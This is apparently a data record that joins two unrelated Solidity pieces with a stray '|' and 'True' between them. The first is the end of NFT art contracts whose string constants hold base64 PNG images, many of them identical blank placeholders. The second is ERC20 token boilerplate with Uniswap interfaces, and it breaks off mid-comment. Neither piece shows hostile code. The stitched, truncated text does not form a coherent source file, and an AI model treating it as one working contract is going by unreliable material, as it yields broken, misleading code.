string public constant weapon7 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAABaUExURUdwTN6eQcpsKU0rMmktMzQcJ753KxUdKJNEK2AsLCAuNxIYNwkKFDlKUFdyd3pIQefVs8CUcxhOR+vt6TmoJh92N+jBcCrddWnjlJ7wrdD60dDakf///6zjWWtAL5UAAAABdFJOUwBA5thmAAAFBklEQVR42u2b2ZKbMBBFASFaBmwDXmZL/v8304sQ4LHH8YvUU6WbymSZVOXU7UXqNhRFVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWVtavVNsq59vvVRO2h4Nuwv3h0KoOcrtvjdUdY3M0VjOgOf4CQNWEVruF9lfEWDUgWpg2CQFAcYyRrnY1qI0x1LVD/UyYEBDdq6qa9CMhdcJ0fOzgM0KTyEDkqxiRCH9CNKn48EctdfK0VFIAYv5VjMWI+ggJ0EFIR32EGOIAyIRPEjEFoVQv0C9CqMtEkLCCgAEVjTZCAuzgzVtHbUdXIpKF3aV7nwFr7IrKAJHv0n0EQKeOsDv/vXSfyOc4Fx0oazbd6e394/PP58f7mwScWjZo4jt9XabuU+6s3GgeAJpUfKdL13UfS0oi4R1AMEnuM8SHeOfpPXSd6i4g8RlIwYd40/l8fltO5/uALSoFICKeL0jYLYBYw9+qGPaH/X4fnbCbThMCImG3AN6LMfIdYhPSf4W5R3zo3wbQaQDkKHbThSJMaTh16xvYbYwREJMQIgLKaYHlwXzn6bwCxMMObizEJslFEvGuyD4V3QX5MMTTtFSJwG8Ake7AMW5jWkip1mF1cBkvBsr3NjGGllJQAKMS1kSIWXja8nEvXAcTZj4CjLer5oY3TUj4NcE2u/C82/zF2sGIgLUnpKG42nhGMd4QCyHzRdz2QxjZebmwvqVCddNoWnEv7sclYW2Ev6G1wooQAW9adZIPctg9x9HlqY79hBmw1nHflwSkmmBI8FMyjvM6AGdIjjJ/cX74dNo2DGIhbUI44giobQniN1y87QIgwFrfNs5XNgI6AgSn00Me7NBCp5SQ6wXLhGoGFAYZrDTvSlYM+ggtt+uaO83NpUELoJX+Tcmo1cKlXJzKVmNDz3n6GVlCC72Lzim00C73LlC2EKbysKS5emn6U0TIdDsSM84WqiEEgnOuaRrnCBLmwUAJIfE5V5ZN4xGJkCxUQsh8TUnaEFIWqgHcOhgsrDXcGgCWEgllAv7+r4DQin/koI+weGj9B3ipAQNfIxEWRD2EK74yJGEgpGVNYkKfe0IYHPS5KGkohD0puYPlbODsID064Byh9eMwDH0KwFX9rkXfkPOk6s1okDEJoQ0O8kF3UyVC2JthHI0xx3Ecxj5VhImvbJYiCTEuAAEHY4QwHWAjObjUcQAsENAY7+ExdpBDCq76jBSx9UlIgCN6KIRDH9lDG+5Zjx1EQoMFYohw7COn4X/koCdERiQEJD32Sfp0AOQFUujUnhARkQ/DDMfIveZbmwH8M2wNnBHHgQmLyBZuOzX6R19XNVIsceZEjEy4drCUAINDC28dnKuZPIx6Kot9y20GZIcZjrobD8cB+aI3wnUVe0CeS749/cuHcuzbF1ro3NpBpLQEaO13kN70VewHDWfA2cGmvA5Xy4B3/nXfu9iE1m7ajC1LvFU1dncfcF6JQLpGY8nCsrEP+OaFQ1TC7UyCHl7L0j58Pj7+PG/nPtPMQS6fAKKF8cskzCQIiGF+DMiPocW+FNZuGesQEH82xU+ASScne30CmGQ6lvWW5CDV8FUboN0tk7tGQGnXMpEwYKnuVbAlCRvMwULhq2q+UKxFQKVv0lmv8qr6VT8CLXa6CYtduVPOV+om3A3XVwD51Zmo968dXghfAoxPuHspwpAA8UXJqwqaEQHkvbLXEP8BNglKMhJHKXsAAAAASUVORK5CYII=";
string public constant weapon8 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAA/UExURUdwTBAYLhUdKFdyd3o2e1UYOjlKUBAUH0AnUSAuN48ZNh4dORcgOMQgIMZRl/mkovRgWPQtE/uTn//L2f///7SooX8AAAABdFJOUwBA5thmAAADAElEQVR42u2Zy3IlKQxEESXIFBRcP+b/v3UWdcfuCds90avKidBZ1fIEkAKpSkmSJEmSJEmSJEmSJEmSJEmSJEmSJEmSP6DWWmsV9uvH0SNqrVGVDWtEyBrW6DX60WUNS40axxERp25Qoh9xtnbqZiX62ZquYfQa59AVjN77udZop6Zh9N7jHKupnsLoPaKeS/UUxnFE1HKONqQFyzmWpuGH4FprKAr2p2A512jnqSw4NHP8i+DZFPf4Q7CcYy1tQc2U9OOIKE/B1sqpWGaen2M1xZvuU7AMRcH6i2BRFEySJEmiywvKGL7+l+HdA66Xnzvj5118s+Fb+b3hveNgM3u3300XSq13DlpfX97e/3p/e3n9ybBHjVtH6vZ4vC8bPyxiRERcE+sbBd9efjYsHzP/uE/w5bFswWj4YZuPI24UbI/X9bA16N8aRu+tH0dv7T7DNWyspyG+dk9tjH6McV/rZGbjscYwGvDFMI421ui3CtLWeqxhIL+uYRy9jTXGaHcVQ5BmYz1IwL4aRj96u/xuOoTmNLMx4MR3axj96K21G2O8CTMzoxP2TZaj935jHSy2nTADQQfs2yjfivl2kkZwA+YktAxB3/4UdJgTk3KGpG0CvmmOSTHBAgDcDoAOgpxigqUUcDvNAGj6FRi3k5wACSgagu5OTjghamgkObFJysXkGRXOCWwCdEXDAgCY2zFBp6BgKaVg+gYm6KKC5bMiqg6N4NsJyZh8GKrm+F9hkTYs5bqVpQ2d2obgFl9D+GUIZUNA9OHwGRQHqWzIDbjrHsXr5UBlQ//HUDUp8zLUFSzTSUgXxElSvB5OUvzpMAFs1346wLcLbzMI+ha+9CavYih7EKcTk64bFXATkz5lDSevuabutfzsoyZdO8qYTmlDSC9hAQFK12vgmrCrKoIE5vW2Ec2yk8SkbJsCuhOcpK7h9bzWbVOAK8yYVH4dio/mSgFZtEFJkiRJ/ldA/+oT/x1ASrcCBXROd07hbuWatVPaENOFfzNff6T+dLr0NwrpInkDe2bqAAAAAElFTkSuQmCC";
string public constant weapon9 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAABIUExURUdwTDlKUHSzwiAuNxgnXRsSLBpBOi1DaxUdKERxnyNnMna9PCQVJ1dyd4GXltbkl0KWLQj/oU3/ryEhRY//usv/1zk9YP///3W3IykAAAABdFJOUwBA5thmAAAEbklEQVR42u3cyXLkOAwEUC4AEklKJZXbnvn/P50DVeV9iYkYGRPBPPfhBShwrXZKMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM/9N3N09Mi/nnGtYode85hqxgj5G1vMakpc8r2uu1d2jju4Qeq01rNBrHl9g2A7x6nVda61L3Cmm5rUuZmGFyWtezGILlxYamJbemy2BhUvrtgQvYfCvcGn2i1/h9WeD/HvCa1LV79ukt98CPigLvyMuvdmynAtUUpOZPZqqEl8Tl3Z6HytJtd77UzOwEN8AFzt5jJWF1+vD49PfT48P12v5poZL6/1UoJK01rdte+q9N8M3wuXsLvmj1Nb3TfEI/YFw6d0snTnEf9R6b9tf+kDon25Kfvkdtm4nTy9qvbe9/3UFob0p+PUgt18D6s+A6Xxg6621fVcS+gPg2T5Va3trrYGkIhpQQRxCkIQiFlDH4mFmIrwBEQxYCFUBjgoS0FBAklABABy+WD2CZx+gCMYbXawKEgAEAGLxBnGM8yjgJ776iz6RAyhf+HL9PR9YSiEhCkKPQX8LXJ+FJ59IXvgGUAWA6DvgXXjujv/uU1UphBwd/UZY13wTLnbqPfBLIEoBoKrvhXW9CRf3U68xXwFZxmyjCsgroefLmnOu1b3mU6/6b0BCFTchRPUNsF4ua845Z/dazwQqXgjHilwKIaqvx9gvN2HO+cz3JpV7DUmqqopwNMtrYH4pzPnEEooAgyeix8JXgLfAul4u63qv4LlCERFQwbuQ77Zcnu9Cr7V6PnMtFgGpMmZrVZEPgKkO4bqutdZaTwQmFRSKgkcFD+C7f5fXy+VyuRzAnE/s5FJUj7INochHu8Kcqx8POme+yqqwUBXl9gl+CkzVa/W6rue+GgtLoeqYXO5ClY+EPoTnvmoLS6EoyusSfkz4jQdjQRnnkucSiviRCFt+AQmoCgtFdcAwDgESQegy9gejhO63hWUcAwIJXVhG3W6HKMSpoYir+jg9HTR3t9abxRC6p5SGEBgtAljbtt4s1K8ARETEfQy77dvWgwnvU4sL6K21vXcL+UMKFxDeWos2xi+EpcDDdMmnQv981QswyKUEmgs/EjK8cJxB4wqT35eWuMLbkhx1lI+dF48FJuJnKGYgIeIBi+hC2NbMQHrECdFJ2Lb1ZnCJOGW7kLb1bs0kJDA5aXvvvRsIEXEPhnQhzPatG8poFACh+tmFsNZ3YymAuJtZrGnbnTBrVkohRLZtbyaxFhZ3QJylFEC2rW/NBLG6xd0dA9i2rVszBuzn8QQgW7e9NyLgqjKOpK3v294ZW9gtJPBZaIgJPC5xxv1DzP2hu0AcAxjzvze5+3iJinwevQGjnlQcLAPIyEKXyL0CMr7QRSQsMDmOEsIDn+hdhIh3CnixBXMhxCXwxYgAcAS/uhEKgMAlFAogKYUVEh7Xl5Ijti8lD+5LKXmamZmZmflfRURCry3Hb1zC/lUVByESeQ9LCDAOA0ErKCDFwcjP4ID/i3PAP5FWOIvmQo8VAAAAAElFTkSuQmCC";
string public constant weapon69 = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+P+/HgAFhAJ/wlseKgAAAABJRU5ErkJggg==";
}
contract Accessories1 {
string public constant accessories15 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAASUExURUdwTDQcJ1U3QWtOU7SFcwkKFNgv6aMAAAABdFJOUwBA5thmAAABSUlEQVRo3u3YsXXDMAyEYXED39EZ4AAtIJAL2OQC2X+ZFC7SR6jy8Kn/HymRKnAcpZRSSimllFJKKaWU8l/gkdv7NiG3yeBQZrK5zugCkBU8g0tvDgE51b40dWoGjO+MvXNd/u4vX3zq7ErY84w+GBxPvp+MR8pLHAqO/hodnhDsgaHg4OXMCB4MmYyGYFLQRBkNlhSEGWk0GAhLCDYz0GgAwJQgTdTnkuRcQJrSbvJnidn/xFJKKaWUUkoppZT/qSXPgRvH0CO1t3fkFQHQxg5l9TiXYL7vDlebfZZHgDNAXzeXyK2jATb3FnyJfj1uF8GAXdzCOXR7oNy4xUm4fIl7yHD7uCz5KxicQ76Ct79z84uzXy5bQQ/eP4oUXMGghzx0f17bCFqXyUNmCcEDon2epGD7An6DSde5AaTRjHmT5QYAqNly+bsfiuUx9QoVLuYAAAAASUVORK5CYII=";
string public constant accessories16 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAkUExURUdwTDQcJ1U3QWtOU7SFcxAUHxkzLUaCMiVWLgkKFHWnQ9DakSNMKwIAAAABdFJOUwBA5thmAAABo0lEQVRo3u3YMW7bQBCFYW6h1HqPalK+GfkAnGUOIC4PEMRwbpA4J0nqnMJ38OlSqEgfTgDDmE/9j9kllwJ2mkoppZRSSimllFJKKeW9wDm399uE3CaDXZnJ5rrGLABZwWtwaGMXkFOdh1ZdtQaMW8baORbf5psPXnSdlbDmNebOYL9wuzDOKZvYFezzrc/whOAc6Ap2Ls6M4MSQyWgIJgVNlNFgSUGYkUaDgbCEYDMDjQYATAnSRN0PSc4BpCntJN9HzP4mllJKKf/d57cePL394EN2MJJHPPmn5BEfR/aIa/YuPm5P2bsYZg+Z6/7Se27w9GTfk1f94Vfyk/7x+i03+PzyM/lBPydPOH1N/+bUP1cp5d1oyffAjb3rnNrb98grAqD1PZTV4zoE8/3o5Wqz+3gEuAbo4+CI3DU1wNZ9F3yIvpwPF8GALdyFa9fhC+XGXVwJlw9x7zIcfl2G/BYMrl0+goefc/OF67y4bAQ9ePxVpOAKBj3koeP3tY2gzTJ5yCwhOEG0+y8p2D4Cf4NJx7kBpNGMeTfLDQBQd8vl3/0BSPA/zFnNkvEAAAAASUVORK5CYII=";
string public constant accessories4 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories5 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAC1QTFRFAAAAEBQfHi05ExwqNkpTe52dx8/MUnN8ekhBrXdX17WUTSsyNBwnpLm1YCws9kdhngAAAAF0Uk5TAEDm2GYAAAOzSURBVGje7ZYxb9tGFMdFKx9AR7kwBTmD7q7xUBTQ8RHxEC0iT9XkobH0BZQC2W2inIUslDlpk5Qpm+VOAheltwTwKmRw67HfwPBn6DtKcVCgSU6Vp+J+gyCA0g//d+/d8Uoli8VisVgsFovFYrFYLBaLxWKxWCwWi8VisVgsFovFYrFY/v+QyuPqCG08hqeyCUeAdsJHiOhgKkeHo6edoPcIEd1BxXEp64QH3wennZ2ETlHqs+cNl/dDDHcWwW7CA1wwQl/BgIdBP+pEVcqk2CXgrw29eFV4HskokEEs/IDt0pSDwaBCXNqoBr/4kgHEgoW7BWTPGtXj/tkx60Zc6nLlTgGdAfgDnx332FkQ+5QyLiLR/C+iTQrnHPyfzjnOi46IQiqEu7XQIRVvuPkKAPy1HwaSxQEKgYoqZ9vu1trVeHRJCKYkVaUwYsQZha4vASgVwMPmVnvfmV5NRt4sU96QLKfZCwU8DqRcN4WyKvhdtkWx3bB2NcnSsZeqiwn6QCnlJz4PWTfGbCDAZ0fnxr79JIkb00wtamOA5W+QwzLNVF60oxsLAJxw3DFnTVNfvwfQyJSqXc1rE4D0RTqaTlR+dK4HJhZ43FBfSj9pmvoizECIIrPL0XieLudvptM0WygcQeZzKa6bhDOOy9k0891GIAjHomeXajmeTdSFStFXx0UMKaUhCktuiDvQrCv7f0VA3G6SJKGHnRiOFnVCluhLs/wI+0vZIQodicKjyCTgSQ8I7/e6iZS4jAviecP3WX1Rx1XMfRlSJlZa2GWcHpu02flT+/A8AfDb2cKbDmcTb1749HBLJg5XgD/DcTQT7v9B+EtYQ4g3wz7Ph7MMRxHrzwHQ91loUvJT8cmHjZGNeXYxnr9ZvlWpKiCHd5+ElJkInWj/ppARoRsT1tXv71CYrXUpKa82wkQLDbrstE9w/fBSsMf7SSLjH9T7d5N8rVsOSan88W51rX+X4DkRNE2m8AbjlUp7J7c9ivu/nS3f1nOVFzo8HB+EMTDwTZr8IxOVwhfqTvN2prL6UA3Xus9CN9bLbDSGoP/Ib0NYT46nsqrA0Juju7UWOlw/N9l57o1+l+2dvCwaU4WKky2cysNFC1b3qxV63NAwII7hOiDTjdEvgX/c2tB3V/QY4BpKZRPhd6eVdUDyr4+hmJlSuXWvcxqV/HNRMfvSSxygjLW2MKjpYd3Gjye38JWXeLm1ur9ffdjiAlh6cvPVW0YZWvrAMb0B6jU8/cYto7yZmIe2/A0vt0SSS71+xAAAAABJRU5ErkJggg==";
string public constant accessories8 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAqUExURUdwTGAsLDQcJ4hLKxkzLUaCMnWnQyVWLujx5Uq9Lbzog4LfQ9DakajKWPneFucAAAABdFJOUwBA5thmAAAA60lEQVRo3u3VMQ6CMBiG4UJ6gFYvQDkBiAdg4QwujCYsnkMdmVxcXExMXFy8iQeyiYPufkMJ7zMxvSm0/DUGAAAAAAAAAAAAADBfhbiXL8TBUKS+QHnQid94SfD/4CL5YK0+h/qg+F8OTTG3c2PCKvVtzusi+Y84uSVW4iVmlWKJThuMM8xJgyb8FCXBPHznbCY5RbHopMFYrLXBuDH+8yA75qHxThrMfVML3zgqfdyYURg0ZdyYh3RSxAvroh09YX3QDsfz7XgflUG72w/SUWv769BKi91zow3akzrYb8UXVvcSB21rAADT9waMvxs733MztQAAAABJRU5ErkJggg==";
string public constant accessories9 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAqUExURUdwTGAsLDQcJ4hLKxkzLSVWLkaCMqjKWHWnQ+jx5Uq9Lbzog4LfQ9DakdVconIAAAABdFJOUwBA5thmAAABOElEQVRo3u3XMW7CMBiGYRP5AA69QNwTkNIDZEjNyhBzAtJObC25QBk7Vmo3xg4dOiEhdWDiXP1bqAMr/oYgvmcAT69+YycSShERERERERERERERERER0eXKwL2kDw7arOsDwoMGvOMrBuOD/c4Hc/Q9xAfBz7IdZpd2b5S96foxJ3nW+R/x7EYcgEfsDRAjGmxQ3mEGGlT2oAgJJrZ9z/Ygt0iKBhqUYo4NysGku8XBHSq9r2Je3ak5Dup7MT59xHSYH+/YNXPv69NHvE7lYJZtUD/MS1VOxhFFOZhNu2PXTOXzro46GPMVgjJg8ftVRT0xt69hx67ZpcqY4Of6/Xu5X4/+BoykX94W/+vREyI4Wy32GT2ZIp4Xt61DsEIE9UcI+gISnD0raFC5R3BQFyHI/+lEROfrB4NhLhG9vZ/4AAAAAElFTkSuQmCC";
}
//unused blanks
contract Accessories2 {
string public constant accessories1 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories2 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories6 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories3 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories7 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories10 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories11 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories12 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories13 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories14 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories17 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories18 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories19 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories20 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories21 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
